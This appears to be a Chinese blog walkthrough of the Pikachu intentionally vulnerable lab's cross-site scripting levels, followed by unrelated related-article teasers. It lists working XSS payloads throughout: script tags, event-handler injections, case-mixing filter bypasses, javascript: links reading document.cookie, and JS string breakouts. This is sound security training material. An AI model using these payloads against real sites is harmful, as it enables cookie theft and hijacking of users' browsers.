Pikachu XSS(跨站脚本攻击)

news2024/12/22 20:55:38

文章目录

    • Cross-Site Scripting
      • XSS(跨站脚本)概述
      • 反射型[xss](https://so.csdn.net/so/search?q=xss&spm=1001.2101.3001.7020)(get)
      • 反射型xss(post)
      • 存储型xss
      • DOM型xss
      • DOM型xss-x
      • xss-盲打
      • xss-过滤
      • xss之htmlspecialchars
      • xss之href输出
      • xss之js输出

Cross-Site Scripting

XSS(跨站脚本)概述

​ Cross-Site Scripting 简称为“CSS”,为避免与前端叠成样式表的缩写"CSS"冲突,故又称XSS。一般XSS可以分为如下几种常见类型:
1.反射性XSS;
2.存储型XSS;
3.DOM型XSS;

SS漏洞一直被评估为web漏洞中危害较大的漏洞,在OWASP TOP10的排名中一直属于前三的江湖地位。

XSS是一种发生在前端浏览器端的漏洞,所以其危害的对象也是前端用户。

形成XSS漏洞的主要原因是程序对输入和输出没有做合适的处理,导致“精心构造”的字符输出在前端时被浏览器当作有效代码解析执行从而产生危害。

因此在XSS漏洞的防范上,一般会采用“对输入进行过滤”和“输出进行转义”的方式进行处理:

输入过滤:对输入进行过滤,不允许可能导致XSS攻击的字符输入;

输出转义:根据输出点的位置对输出到前端的内容进行适当转义;

反射型xss(get)

image-20230916142811323

修改最大长度为100,写一个弹框操作:

<script>alert(/xss/)</script>

image-20230916143048389

成功执行:

image-20230916143113456

反射型xss(post)

账号admin,密码123456直接登录。

image-20230916143827189

发现没有做限制。

输入POC :

<script>alert(/xss/)</script>

成功执行:

image-20230916143414741

存储型xss

在留言板里直接写入POC:

<script>alert(/xss/)</script>

在这里插入图片描述

出现xss的弹框后,点击确定,发现有个删除,说明确实是存到数据库里了。

image-20230916144900256

查看数据库有没有这两条数据:

image-20230916145131199

这就是存储型反射型永久性和一次性的区别,会永久的存储在数据库中。

发射型XSS与存储型XSS区别:

**反射型XSS:**是非持久性、参数型的跨站脚本。反射型XSS 的代码在Web 应用的参数中,例如搜索框的反射型XSS。

存储型XSS: 是持久性跨站脚本。持久性体现在XSS代码不是在某个参数(变量)中,而是写进数据库或文件等可以永久保存数据的介质中。存储型XSS通常发生在留言板等地方,可以在留言板位置进行留言,将恶意代码写进数据库中。

所以存储型XSS危害面比较广,漏洞提交平台会接收此类漏洞。

DOM型xss

javascript语言中分两种BOMDOM

BOM:浏览器对象模型 Brower Object Model
js代码操作浏览器
DOM:文档对象模型 Document Object Model
js代码操作标签

点击click me!,出现what do you see? ,查看网页源代码,ctrl+f查找what do you see? 的位置:

image-20230916151829485

这段Java script的代码,我们看看是什么意思
首先它使用dom里面的document.getElementById获取到了id=text的值
text 就是下面input 也就是我们输入的内容,。
然后通过dom的操作,将我们输入的内容拼接在了a标签的href属性中
接着a标签会写在id=dom的div标签中
通过分析代码,我们发现我们输入的东西是str,而str又拼接在A标签中,这样的话,我们就有思路了
通过将前面A标签闭合,来构造一个恶意代码

//方式一:
'><img src="#" οnmοuseοver="alert('xss')">

//方式二:
'onclick="alert(/xss/)">

说明:

onmouseover 事件会在鼠标指针移动到指定的元素上时发生。

onclick 事件会在元素被点击时发生。

简单来说就是单引号闭合前面那个单引号

尖括号闭合a标签
中间再来一个弹窗

image-20230916153131402

DOM型xss-x

image-20230916154140425

同样是有一段Java script的代码
简单分析一下
它会将URL中传参的内容获取到,然后通过一个url的解码,获取到输入内容并赋值给xss
然后将变量xss写入a标签的href属性中
这样的话,我们的思路和刚刚一样
同样是闭合a标签构造代码

//方式一:
'><img src="#" οnmοuseοver="alert('xss')">

//方式二:
'οnclick=“alert(‘xss’)>

image-20230916155012149

xss-盲打

将留言保存至后台 当管理员登录查看留言时就会触发

在页面中两个输入框中都输入<script>alert("ghuii")</script>,提交后没有反应

查看数据库:

image-20230916160120268

也可以点一下提示,让去后台看看,发现登录后台,就会弹框:

image-20230916160322310

xss-过滤

image-20230916170133028

<script>alert(/xss/)</script>
//没有执行弹框操作,不知道过滤了什么

//双写
<scscriptript>alert(/xss/)</scscriptript>
//还是没有执行弹框操作

//大小写
<Script>alert(/xss/)</sCRIpt>
//成功执行弹框操作

image-20230916170409537

//其他方法:

// 1. javascript  伪协议
<a href = javaSCRIPT:alert(/xss/) >click me!</a>
//可行。

    
// 2. 事件响应
<img src = "#" onmouseover = 'alert(/dont touch me!/)'/>
// onmouseover 事件会在鼠标指针移动到指定的元素上时发生。
//可行。   
    
<input type = 'text' onkeydown = 'alert(/xss/)'>
// onkeydown 事件会在用户按下一个键盘按键时发生。
//可行。
    
<input type = 'text' onkeyup = 'alert(/xss/)'>
// onkeyup 事件会在键盘按键被松开时发生。
//可行。
    
    
// 3. 其他标签
<svg onload='alert(/xss/)'>
// onload 事件会在页面或图像加载完成后立即发生。 
//可行 
    
<input onfocus=alert(/xss/) autofocus>
// onfocus 事件在对象获得焦点时发生。    
//可行。

查看一下源码:

if(isset($_GET['submit']) && $_GET['message'] != null){
    //这里会使用正则对<script进行替换为空,也就是过滤掉
    $message=preg_replace('/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/', '', $_GET['message']);
//    $message=str_ireplace('<script>',$_GET['message']);

    if($message == 'yes'){
        $html.="<p>那就去人民广场一个人坐一会儿吧!</p>";
    }else{
        $html.="<p>别说这些'{$message}'的话,不要怕,就是干!</p>";
    }

}

说明:

​ 代码片段使用了 PHP 中的正则表达式函数 preg_replace() 来替换传入的 $_GET['message'] 变量中包含特定模式的字符串。在这里,它被用于从 $_GET['message'] 的值中删除 <script 这样的字符串。

'/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/' 是一个正则表达式模式。它用于匹配类似于 <script 这样的字符串,并且把它们替换为空字符串。双写也会被过滤掉。

xss之htmlspecialchars

输入<script>alert(/xss/)</script> 结果:

image-20230916174308440

查看网页源代码:

image-20230916174420748

specialchars函数就是把单引号,双引号,尖括号过滤了,但是这个函数默认是不过滤单引号的。

这里我们知道我们输入的在a标签里面,可以考虑伪协议,已经有现成的a标签,不需要重复写:

javascript:alert("/xss/")

image-20230916175543515

xss之href输出

href 属性的值可以是任何有效文档的相对或绝对 URL,包括片段标识符和 JavaScript 代码段。如果用户选择了<a>标签中的内容,那么浏览器会尝试检索并显示 href 属性指定的 URL 所表示的文档,或者执行 JavaScript 表达式、方法和函数的列表。

//伪协议
// 1:弹框
javascript:alert("/xss/")

// 2:显示当前页面的 Cookie 数据。
javascript:alert(document.cookie)

image-20230916180327806

xss之js输出

image-20230916192314738

先输入tmac :

image-20230916192438132

可以提前闭合</script>

</script><script>alert(/xss/)</script>

image-20230916192926915

image-20230916192818260

也可以' ; alert(/g_h_i/); // , 页面接受到的就是$ms=''; alert(g_h_i);//'

'; alert(/g_h_i/); //

第一步: $ms=‘’'加一个单引号是为了闭合前面的单引号

第二步: $ms=‘’;’ 加分号, 表示语句结束

第三步:$ms=‘’;alert(/xss/);’ 弹框

第四步: $ms=‘’;alert(/xss/);//’ 把//后面的单引号注释掉

image-20230916193934716

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1024899.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

02. Springboot集成Flyway

目录 1、前言 2、什么是Flyway&#xff1f; 3、为什么要使用 Flyway&#xff1f; 4、简单示例 4.1、创建Spring Boot工程 4.2、添加Flyway依赖 4.3、Springboot添加Flyway配置 4.4、创建执行SQL脚本 4.5、启动测试 4.6、Flyway版本管理 5、SQL脚本文件命名规则 6、…

比特币 ZK 赏金系列:第 2 部分——查找哈希冲突

在我们的零知识赏金 (ZKB) 系列的第二部分中&#xff0c;我们将其应用于解决哈希冲突难题。在这样的谜题中&#xff0c;两个不同的输入散列到相同的输出。此类赏金可用于&#xff1a; 充当煤矿中的金丝雀&#xff0c;给我们一个有价值的提醒。存在冲突是散列函数较弱的标志&…

LCP 06. 拿硬币【向上取整】

文章目录 Tag题目来源题目解读解题思路方法一&#xff1a;贪心 知识回顾向上、向下取整 写在最后 Tag 【贪心】【数组】 题目来源 LCP 06. 拿硬币 题目解读 数组 coins 中存放的是一堆堆的力扣币&#xff0c;对于每一堆力扣币&#xff0c;你可以选择拿走一枚或者两枚&#x…

SOCKS5 认证的方法

在进行网络浏览或爬虫等相关工作时&#xff0c;我们经常会遇到需要使用 SOCKS5 代理认证的情况。然而&#xff0c;某些浏览器可能不提供原生支持 SOCKS5 代理认证的选项&#xff0c;给我们带来了一些困扰。本文将为大家介绍几种解决浏览器不支持 SOCKS5 代理认证问题的方法。 …

java图形化工具编写初试

java图形化工具编写初试 前言&#xff1a; 照虎画猫——用WgpSec 说书人师傅的‘用友NC系列检测利用工具’结合本人为数不多的java基础再结合gpt&#xff0c;学习了一下java图形化工具的编写&#xff0c;实现了最基础的漏洞检测功能........用大华的两个漏洞为例&#xff0c;分…

kafka消费/发送消息,消息过大报错解决whose size is larger than the fetch size 1048576

目录 一、kafka消费报错原因二、解决方案1、原因一的解决方案2、原因二的解决方案 一、kafka消费报错原因 问题原因一&#xff1a;个是kafka本身的配置没有调整到上限 问题原因二&#xff1a;就是我们自己写python消费kafka代码的时候没有参数配置没有限制 RecordTooLargeE…

实践分享:vue模块化基本用法

首先还是来看看什么是模块化。 常见的概括&#xff1a;模块化就是把单独的一个功能封装到一个模块&#xff08;文件&#xff09;中&#xff0c;模块之间相互隔离&#xff0c;但是可以通过特定的接口公开内部成员&#xff0c;也可以依赖别的模块&#xff08;方便代码的重用&…

Zotero配合dblp文献库免费一键下载文献及管理教程

Zotero配合dblp文献库免费一键下载文献及管理教程 1 dblp计算机科学文献库2 文献导入到Zotero教程参考&#xff1a; 在这里&#xff0c;相信大家都已经知道Zotero这个强大的文献管理软件了&#xff0c;它可以多端同步&#xff0c;自动下载文献&#xff0c;自定义标签&#xff0…

数据结构——排序算法——归并排序

将两个有序数组合并为一个有序数组 在第二个列表向第一个列表逐个插入的过程中&#xff0c;由于第二个列表已经有序&#xff0c;所以后续插入的元素一定不会在前面插入的元素之前。在逐个插入的过程中&#xff0c;每次插入时&#xff0c;只需要从上次插入的位置开始&#xff0…

Pytorch从零开始实战04

Pytorch从零开始实战——猴痘病识别 本系列来源于365天深度学习训练营 原作者K同学 文章目录 Pytorch从零开始实战——猴痘病识别环境准备数据集模型选择模型训练数据可视化其他模型图片预测 环境准备 本文基于Jupyter notebook&#xff0c;使用Python3.8&#xff0c;Pytor…

mysql用事务实现更新数据

前言&#xff1a;在手动批量更新正式环境数据库时&#xff0c;建议使用事物进行更新&#xff0c;避免更错数据&#xff0c;造成不必要的麻烦。 现表中有三条数据&#xff0c;使用事物批量将name字段为mgx&#xff0c;phone字段为17837107346&#xff0c;所有数据中的address字段…

华为云云耀云服务器L实例评测|服务器反挖矿防护指南

前言 本文为华为云云耀云服务器L实例测评文章&#xff0c;测评内容是 云耀云服务器L实例 反挖矿防护指南 系统配置&#xff1a;2核2G 3M CentOS7.9 之前的文章中『一文教你如何防御数据库恶意攻击』&#xff0c;我们讲到黑客如何通过攻击数据库来获取权限&#xff0c;以及我们…

别再纠结线程池池大小、线程数量了,哪有什么固定公式 | 京东云技术团队

可能很多人都看到过一个线程数设置的理论&#xff1a; CPU 密集型的程序 - 核心数 1 I/O 密集型的程序 - 核心数 * 2 不会吧&#xff0c;不会吧&#xff0c;真的有人按照这个理论规划线程数&#xff1f; 线程数和CPU利用率的小测试 抛开一些操作系统&#xff0c;计算机原…

C++数据结构X篇_14_二叉树的递归遍历(先序遍历、中序遍历、后续遍历方法介绍;举例;代码实现)

我们知道数据的存储结构分为线性与非线性。线性就是1对1的结构&#xff0c;像栈与队列都属于线性结构。那什么是非线性的结构呢&#xff1f; 非线性即1对n的结构这更符合常规情况&#xff0c;线性结构本质上属于非线性结构中的一种特殊形式&#xff0c;像树就属于非线性结构。但…

iOS 17 Simulator Failed with HTTP status 400:bad request

升级 xcode 15 要 ios17 的 sdk 才能运行&#xff0c;但是更新这个 sdk 400 错误了 解决方案&#xff1a; 直接去官网下载开发者后台下载dmg文件&#xff0c;使用命令行快速安装即可 https://developer.apple.com/documentation/xcode/installing-additional-simulator-runti…

Anaconda和Pycharm详细安装 配置教程

Anaconda&#xff1a;是一个开源的Python发行版本&#xff0c;其中包含了conda、Python等180多个科学包及其依赖项。【Anaconda下载】 PyCharm&#xff1a;PyCharm是一种Python IDE&#xff0c;带有一整套可以帮助用户在使用Python语言开发时提高其效率的工具。【PyCharm下载】…

功能强大的PostgreSQL没有MySQL流行的10个原因,你知道几个?

以下内容是根据玖章算术CEO叶正盛在「3306π 数据库朋友圈」技术演讲整理。文末附完整的PPT下载链接&#xff01; MySQL与PostgreSQL都是非常优秀并且非常成功的数据库&#xff0c;PostgreSQL的功能比MySQL强大&#xff0c;但是依然没有MySQL流行&#xff0c;作者从产品功能、…

Vue3中的computed函数详解

计算属性是Vue中常用的一种方式&#xff0c;主要用于在模板中放置逻辑计算&#xff0c;方便开发者进行数据操作和展示。在Vue3中&#xff0c;计算属性依然是非常重要的一种功能&#xff0c;而computed函数则更加的方便计算属性的使用。本文将对Vue3中的computed函数进行详细的介…

terraform简单的开始-vpc cvm创建

从网络开始 从创建VPC开始 复用前面的main.tf的代码&#xff1a; terraform {required_providers {tencentcloud {source "tencentcloudstack/tencentcloud"version "1.81.25"}} } variable "region" {description "腾讯云地域"…

西门子S7-1200F或1500F系列安全PLC的组态步骤和基础编程(二)

西门子S7-1200F或1500F系列安全PLC的组态步骤和基础编程(二) 上一次和大家分享了组态相关的重要内容,具体可以参考以下链接中的内容: 西门子S7-1200F或1500F系列安全PLC的组态步骤和基础编程(一) 本次继续和大家分享关于安全PLC基础编程的相关内容: 如下图所示,在左侧的…